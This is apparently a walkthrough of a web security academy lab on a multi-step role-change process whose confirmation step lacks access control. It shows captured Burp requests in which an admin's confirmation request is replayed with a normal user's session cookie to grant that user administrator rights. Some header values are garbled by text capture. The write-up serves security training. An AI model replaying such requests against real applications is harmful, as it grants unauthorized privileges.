

Lab: Multi-step process with no access control on one step

This lab has an admin panel with a flawed multi-step process for changing a user's role. You can familiarize yourself with the admin panel by logging in using the credentials `administrator:admin`.

To solve the lab, log in using the credentials `wiener:peter` and exploit the flawed [access controls](#) to promote yourself to become an administrator.



Multi-step process with no access control on one step

LAB Not solved

[Back to lab description >>](#)

[Home](#) | [Admin panel](#) | [My account](#)

User

carlos (NORMAL) Upgrade user Downgrade user

Try to Upgrade user wiener and check the response in the burpsuite.

```
POST /admin-roles HTTP/2
Host: 0ad5008603c98aac827aef7008600f9.web-security-academy.net
Cookie: session=0DwV6nTgt6JK8gJeqiCONVYiv7LnZygK
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ad5008603c98aac827aef7008600f9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad5008603c98aac827aef7008600f9.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,en-IN;q=0.8

username=carlos&action=upgrade
```

Once we Forward the request, the response is below



Multi-step process with no access control on one step

[Back to lab description >>](#)

LAB Not solved

[Home](#) | [Admin panel](#) | [My account](#)

Are you sure?

No, take me back

Yes

If we click yes, the following request is taking place,

```
1 POST /admin-roles HTTP/2
2 Host: Oad5008603c98aac827aacf7008600f9.web-security-academy.net
3 Cookie: session=0DwV6nTgt6JK9GjeqiCOMVYiw7LnZygK
4 Content-Length: 45
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
7 Sec-Ch-Ua-Mobile: 70
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://Oad5008603c98aac827aacf7008600f9.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://Oad5008603c98aac827aacf7008600f9.web-security-academy.net/admin-roles
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
21
22 action=upgrade&confirmed=true&username=carlos
```

Send this Burp Repeater, and in new tab login as wiener and copy the session id of the wiener.

Name	Value	Domain	Path	Expires / M...	Size	HttpOnly	Secure	SameSite	Partition Key	Priority
session	Bs5hwC8qQ1rM9MFjSA058YP67DH9Wnxx	Oad500860...	/	Session	39	✓	✓	None		Medium

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
1 GET /admin-roles?action=upgrade&confirmed=true&username=wiener HTTP/2						
2 Host: Oad5008603c98aac827aacf7008600f9.web-security-academy.net						
3 Cookie: session=Bs5hwC8qQ1rM9MFjSA058YP67DH9Wnxx						
4 Cache-Control: max-age=0						
5 Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"						
6 Sec-Ch-Ua-Mobile: 70						
7 Sec-Ch-Ua-Platform: "Windows"						
8 Upgrade-Insecure-Requests: 1						
9 Origin: https://Oad5008603c98aac827aacf7008600f9.web-security-academy.net						
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0						
11 Accept:						
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7						
12 Sec-Fetch-Site: same-origin						
13 Sec-Fetch-Mode: navigate						
14 Sec-Fetch-User: ?1						
15 Sec-Fetch-Dest: document						
16 Referer: https://Oad5008603c98aac827aacf7008600f9.web-security-academy.net/admin-roles						
17 Accept-Encoding: gzip, deflate, br						
18 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8						
19						
20						

Request

Pretty Raw Hex

```
1 POST /admin-roles HTTP/2
2 Host: 0a8b008104c951258188259800b90072.web-security-academy.net
3 Cookie: session=6PJabDqjbcHCFfW3G7pMUVpPiXy2haS
4 Content-Length: 45
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a8b008104c951258188259800b90072.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
13 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
    png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer:
    https://0a8b008104c951258188259800b90072.web-security-academy.net/admin-roles
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
21
22 action=upgrade&confirmed=true&username=wiener
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 302 Found
2 Location: /admin
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
```



Multi-step process with no access control on one step

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Email

Update email